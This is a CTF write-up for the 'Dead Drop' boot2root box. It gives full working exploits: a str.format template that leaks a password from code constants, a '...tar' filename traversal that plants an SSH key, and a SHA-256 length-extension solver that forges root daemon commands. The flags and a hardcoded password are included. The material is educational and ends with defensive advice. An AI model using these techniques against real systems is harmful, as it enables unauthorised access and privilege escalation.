Writeup
Dead Drop — Writeup
Dead Drop — Writeup
This writeup details the solution for “Dead Drop”, a boot2root challenge from WOPS CTF. The challenge is a Linux box reachable only over SSH, with four accounts and two flags. Each tier deliberately closes off the obvious technique and leaves exactly one narrower path open.
Summary
The target is a Debian box exposing nothing but SSH. The guest account is
public (password guest) but is pinned to a restricted console by
ForceCommand, so there is no shell to land in.
The escalation chain is:
guest (restricted console) --> relay (password) --> operator (ssh key) --> rootTwo flags are scored separately:
| Part | Account | Flag file |
|---|---|---|
| 1 | operator | /home/operator/user.txt |
| 2 | root | /root/root.txt |
Three techniques, one per tier:
- Format-string read primitive — the console renders a user-controlled
banner template with
str.format, which leaks a password out of a method’s code constants. - Path traversal in a filename — a sync job validates tar members correctly but joins the bundle name into the destination path.
- SHA-256 length extension — a root daemon authenticates requests with
sha256(key || message), which is a prefix MAC, not an HMAC.
Key Code Snippets
console.py — the banner primitive
BLOCKED = ("globals", "builtins", "dict", "subclasses", "mro", "base", "import", "loader", "spec", "class", "module", "getattr", "self", "frame", "f_", "gi_", "cr_", ":")MAX_TEMPLATE = 64
class Session: def render(self): return self.banner.format(s=self) # <-- template is a read primitive
def handoff(self): if not self.privileged: raise PermissionError("hand-off is disabled in production") return "relay", "dr0p-r3lay-9f41c7e2" # <-- a code constantsync.py — the bundle unpacker, running as operator
NAME_RE = re.compile(r"[A-Za-z0-9._/-]{1,48}") # '/' allowed, for subfoldersBAD_NAME = ("//", "/..", "../")
def member_ok(m): if m.name.startswith("/") or ".." in m.name.split("/"): return False if not (m.isfile() or m.isdir()): return False # no links, devices or fifos ...
def process(fname): bundle = fname[:-len(".tar")] # '.tar' stripped first if not NAME_RE.fullmatch(bundle): return for pat in BAD_NAME: if pat in bundle: return dest = os.path.join(INBOX, bundle) # <-- name joined into the path ... tf.extractall(dest, members=members)agentd.py — the root agent’s signature scheme
def sign(msg): return hashlib.sha256(KEY + msg).hexdigest() # <-- prefix MAC, not HMAC
def parse(msg): fields = {} for part in msg.split(b"&"): k, v = part.split(b"=", 1) fields[k.decode("latin-1")] = v.decode("latin-1") # later keys win return fields
def handle(msg, mac): if not hmac.compare_digest(sign(msg), mac): return "ERR signature mismatch" ... if cmd == "maint": p = subprocess.run(["/bin/sh", "-c", req.get("run", "")], ...)Analysis
Stage 1 — a value you cannot call is still readable
str.format with a {s.attr} template is not string interpolation; it walks
attributes on the object you pass. That makes any template a read primitive
over the live Session object.
The denylist anticipates this and blocks the textbook escapes — __globals__,
__class__, __subclasses__, getattr, and even : to kill format specs —
with templates capped at 64 characters. What it does not block is
__code__.co_consts.
Python stores literals used inside a function body in that function’s code
object. The relay password is a literal in handoff(), so it lives in
handoff.__code__.co_consts whether or not the function ever runs. Calling
handoff() is useless — it raises PermissionError first — but the constant
is sitting there regardless:
s.handoff.__code__.co_consts -> ('hand-off is disabled in production', ('relay', 'dr0p-r3lay-9f41c7e2'))Stage 2 — the traversal is in the name, not the archive
Every 15 seconds sync.py runs as operator, unpacks each *.tar from
/srv/drop (the only place relay can write) into
/home/operator/inbox/<bundle>/, then deletes it.
The tar member validation is genuinely correct: absolute paths, ..
components, symlinks, devices and oversized files are all rejected. The box
even nudges you away from that route — /home/relay/notes.txt mentions links
were patched out “after the symlink incident”.
The bug is the bundle name. Names may contain / so bundles can be filed into
dated subfolders, and the filter rejects //, /.. and ../ — but not a
name that is exactly ... Since .tar is stripped before the check, the
filename that produces it needs three dots:
"...tar" --strip .tar--> ".." --join--> /home/operator/inbox/.. --normalises to--> /home/operatorNote that ..tar is not enough — it strips to ., which normalises back
to the inbox itself. This is the easiest detail to get wrong.
A tar containing .ssh/authorized_keys therefore unpacks straight into the
operator’s home directory. sync.py sets umask 0o077, so the key lands with
permissions strict enough to satisfy sshd’s StrictModes.
Stage 3 — sha256(key || message) is not a MAC
The root agent listens on a unix socket reachable only by the operator
group. Requests are hex(message) hex(signature) with:
The key is root-only and regenerated each boot with a random length of 17–48
bytes. The maint command runs a shell string as root.
This is a textbook prefix MAC. SHA-256 is Merkle–Damgård, so its digest is
its internal state after the final block — which means anyone holding a valid
(message, signature) pair can resume hashing and append data without the key.
The operator’s own notes flag it as a known-but-dismissed risk:
[ ] switch the signature to real HMAC (security keeps nagging, but sha256 is sha256, nobody can forge it without the key...)Two more facts make it exploitable:
- The agent logs one valid
(message, signature)pair every five minutes to/var/log/wops/agent.log, readable by the operator group. parse()splits on&and later keys overwrite earlier ones, so appended fields win and the binary padding bytes sit harmlessly inside a junk field rather than corrupting the command.
The forged message is:
where pad is the Merkle–Damgård padding SHA-256 would have appended, and the
suffix is &cmd=maint&run=cat /root/root.txt.
The padding depends on , which is unknown, so we iterate
candidate lengths 1–64 and keep the first response starting with OK. That is
the only search in the intended path, and it is forced by the per-boot
randomisation rather than by a weak design.
Exploitation and Flag Recovery
1. Part 1, stage 1 — leak the relay password
ssh guest@HOST -p PORT # password: guest
relay> banner set {s.handoff.__code__.co_consts}banner updatedrelay> banner('hand-off is disabled in production', ('relay', 'dr0p-r3lay-9f41c7e2'))2. Part 1, stage 2 — plant a key via the dead drop
Upload under a temporary name and rename into place, otherwise the sync job can pick up a partially written file:
ssh-keygen -t ed25519 -f ./dd -N ''mkdir -p .ssh && cp dd.pub .ssh/authorized_keystar cf bundle.tar .ssh/authorized_keys
scp -P PORT bundle.tar relay@HOST:/srv/drop/x.partssh -p PORT relay@HOST 'mv /srv/drop/x.part /srv/drop/...tar'
sleep 20ssh -i ./dd operator@HOST -p PORT 'cat ~/user.txt'3. Part 2, stage 3 — forge an agent request
# as operator: grab a known-good signed requestgrep ' request ' /var/log/wops/agent.log | tail -1# ... request <hexmsg> <sig> -> OK up=...
# send the forged line to the root agentpython3 -c 'import socket,syss=socket.socket(socket.AF_UNIX); s.connect("/run/wops/agent.sock")s.sendall(sys.argv[1].encode()+b"\n"); print(s.recv(65536).decode())' "<hexforged> <forgedsig>"4. The full solver
solve.py runs the whole chain. The interesting part is the length extension,
implemented with a self-contained SHA-256 so the state resumption is visible
rather than hidden behind a library:
def md_pad(length): """The padding SHA-256 would have appended after `length` bytes.""" return b"\x80" + b"\x00" * ((55 - length) % 64) + struct.pack(">Q", length * 8)
def length_extend(digest_hex, orig_len, suffix): """sha256(secret || orig || pad || suffix), given only sha256(secret || orig).""" h = list(struct.unpack(">8I", bytes.fromhex(digest_hex))) # digest IS the state done = orig_len + len(md_pad(orig_len)) data = suffix + md_pad(done + len(suffix)) for i in range(0, len(data), 64): h = _compress(h, data[i:i + 64]) # keep hashing return struct.pack(">8I", *h).hex()
# stage 3: recover a signed pair from the log, then brute the key length onlyline = [l for l in run(op, "cat /var/log/wops/agent.log").splitlines() if " request " in l][-1]hexmsg, mac = line.split(" request ")[1].split(" ")[:2]orig = bytes.fromhex(hexmsg)suffix = b"&cmd=maint&run=cat /root/root.txt"
for keylen in range(1, 65): total = keylen + len(orig) forged = orig + md_pad(total) + suffix fmac = length_extend(mac, total, suffix) resp = run(op, client + f"'{forged.hex()} {fmac}'") if resp.startswith("OK"): print(f"[+] key length {keylen}") print("[+] root flag:", resp.splitlines()[1].strip()) break5. Execution
pip install paramikopython3 solve.py <host> <port>[*] stage 1: guest console[+] relay password: dr0p-r3lay-9f41c7e2[*] stage 2: dead drop[+] operator shell, user flag: WOPS{d0t_d0t_t4r_cl1mbs_0ut_0f_th3_1nb0x}[*] stage 3: agent signature forgery[+] key length 48[+] root flag: WOPS{sh4256_k3y_pr3f1x_1s_n0t_4_m4c_3xt3nd_th3_dr0p}Runtime is about a minute, most of it spent waiting for a sync cycle. The reported key length changes every boot — 20, 34, 47 and 48 all came up across runs — which confirms the loop is not fitted to one instance.
Final Result
Part 1 flag: WOPS{d0t_d0t_t4r_cl1mbs_0ut_0f_th3_1nb0x}
Part 2 flag: WOPS{sh4256_k3y_pr3f1x_1s_n0t_4_m4c_3xt3nd_th3_dr0p}
Notes
- The format denylist blocks the dunder paths that reach the interpreter, so you have to realise you do not need the interpreter — the data is already in the code object.
- The tar member validation is genuinely sound. That is what pushes you to look at the one input that is not validated the same way: the filename.
- The signature scheme looks fine until you notice
sha256(key || msg)is a construction, not a primitive, and that a sample is published every five minutes by design.
The general lesson for the third stage is worth stating plainly: a hash is not
a MAC. sha256(key || message) leaks the ability to extend, and
sha256(message || key) has its own problems. Use HMAC — the box’s own TODO
list already knew that.